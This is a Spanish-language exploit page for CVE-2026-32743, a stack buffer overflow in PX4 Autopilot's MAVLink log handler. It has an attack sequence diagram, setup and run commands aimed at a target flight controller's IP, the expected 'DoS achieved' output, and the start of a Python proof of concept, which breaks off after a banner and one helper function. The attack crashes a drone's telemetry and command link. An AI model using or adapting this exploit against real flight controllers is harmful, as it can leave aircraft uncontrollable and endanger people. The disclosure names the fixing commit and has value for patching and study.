CVE-2026-32743 - Desbordamiento de Búfer en la Pila de MavlinkLogHandler de PX4 Autopilot (DoS)

📜 Descripción

CVE-2026-32743 es un desbordamiento de búfer basado en la pila en el MavlinkLogHandler de PX4 Autopilot en versiones ≤1.17.0-rc2.
El búfer LogEntry.filepath tiene solo 60 bytes, pero sscanf() analiza las rutas de directorio de registros sin un especificador de ancho.

Un atacante con acceso al enlace MAVLink puede:

Usar MAVLink FTP para crear un directorio profundamente anidado (longitud de ruta > 60 bytes) dentro de /fs/microsd/log/.
Solicitar la lista de registros mediante MAV_CMD_REQUEST_LOG_LIST.
El vulnerable MavlinkLogHandler copia la ruta larga en el búfer de 60 bytes → desbordamiento de pila.
La tarea MAVLink se bloquea → pérdida de telemetría y capacidad de comando → Denegación de Servicio persistente (hasta el reinicio).

Corregido en: commit 616b25a (se añadió el especificador de ancho a sscanf).

🔥 Diagrama del Flujo de Ataque

sequenceDiagram
    participant Attacker
    participant PX4 as PX4 Flight Controller
    participant SD as SD Card (/fs/microsd/log/)

    Attacker->>PX4: 1. Open MAVLink connection (UDP 14550)
    PX4-->>Attacker: Heartbeat (system/component IDs)
    
    Note over Attacker,PX4: Step 2: Create long directory via MAVLink FTP
    Attacker->>PX4: MAVLink FTP: OpenFile( path = "/fs/microsd/log/" + "A"*70, flags=O_CREAT|O_DIRECTORY )
    PX4->>SD: Create directory (named 70×'A')
    SD-->>PX4: OK
    
    Note over Attacker,PX4: Step 3: Trigger overflow by requesting log list
    Attacker->>PX4: MAV_CMD_REQUEST_LOG_LIST (command 261)
    PX4->>PX4: MavlinkLogHandler::list() reads log directory
    PX4->>PX4: sscanf(path, "%s", LogEntry.filepath)  ← NO width limit!
    Note right of PX4: Buffer overflow: 70 bytes written into 60-byte buffer
    PX4--xAttacker: MAVLink task crashes → no more heartbeats/commands
    Note over Attacker,PX4: ✅ DoS achieved – flight controller unmanageable

⚙️ Requisitos Previos

Objetivo ejecutando PX4 ≤ 1.17.0-rc2 con tarjeta SD montada (registros almacenados en /fs/microsd/log/).
MAVLink FTP habilitado (por defecto en la mayoría de las compilaciones de PX4).
Acceso de red al puerto UDP de MAVLink del controlador de vuelo (por defecto 14550).
Python 3.6+ con pymavlink instalado:
```
pip install pymavlink
```

🚀 Uso

git clone https://github.com/mbanyamer/CVE-2026-32743-PoC
cd CVE-2026-32743-PoC
python3 exploit.py <TARGET_IP> [--port <PORT>]

Argumento	Descripción	Por defecto
`target_ip`	Dirección IP del controlador de vuelo	obligatorio
`--port`	Puerto UDP de MAVLink	`14550`

Ejemplo

python3 exploit.py 192.168.1.10 --port 14550

Salida esperada (DoS exitoso):

[*] Connecting to MAVLink target: 192.168.1.10:14550
[+] Heartbeat received from system 1, component 1
[*] Creating long directory: /fs/microsd/log/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (length 80 bytes)
[+] Directory created (or already existed).
[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...
[*] Waiting for crash (target will stop responding)...
[+] Target unresponsive – DoS achieved!

📄 Código PoC

#!/usr/bin/env python3
# Exploit Title: PX4 Autopilot MavlinkLogHandler Stack Buffer Overflow (DoS)
# CVE: CVE-2026-32743
# Date: 2026-05-08
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://px4.io/
# Software Link: https://github.com/PX4/PX4-Autopilot
#   Affected: Versions 1.17.0-rc2 and below
# Tested on: PX4 v1.17.0-rc2 (Pixhawk)
# Category: DoS
# Platform: Embedded (PX4 Autopilot)
# Exploit Type: Stack-based Buffer Overflow
# CVSS: 7.5 (High)
# CWE: CWE-121
# Description: Creates an overly long directory via MAVLink FTP, then requests log list.
# Fixed in: https://github.com/PX4/PX4-Autopilot/commit/616b25a
# Usage: python3 exploit.py <target_ip> [--port <port>]

print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║                                                                                            ║
║   ██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗                     ║
║   ██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗                    ║
║   ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝                    ║
║   ██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗                    ║
║   ██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║                    ║
║   ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝                    ║
║                                                                                            ║
║                         [ b a n y a m e r _ s e c u r i t y ]                              ║
║                                                                                            ║
║                  ▸ Silent Hunter  |  Shadow Presence  |  Digital Intel ◂                  ║
║                                                                                            ║
║   Operator : Mohammed Idrees Banyamer  •  Jordan 🇯🇴                                       ║
║   Handle   : @banyamer_security                                                           ║
║                                                                                            ║
║   Exploit  : CVE-2026-32743                                                               ║
║   Target   : PX4 Autopilot • MAVLink • Log Handler                                         ║
║                                                                                            ║
║   Status   : ACTIVE                                                                       ║
║                                                                                            ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")

import time
import struct
import argparse
from pymavlink import mavutil
from pymavlink.dialects.v20 import common as mavlink2

def send_ftp_command(mav, seq, payload):
    msg = mav.file_transfer_protocol_encode(
        target_system=mav.target_system,
        target_component=mav.target_component,
        payload=payload
    )
    mav.mav.send(msg)

CVE-2026-32743-PX4-Autopilot-MavlinkLogHandler-Stack-Buffer-Overflow-DoS-

Más Populares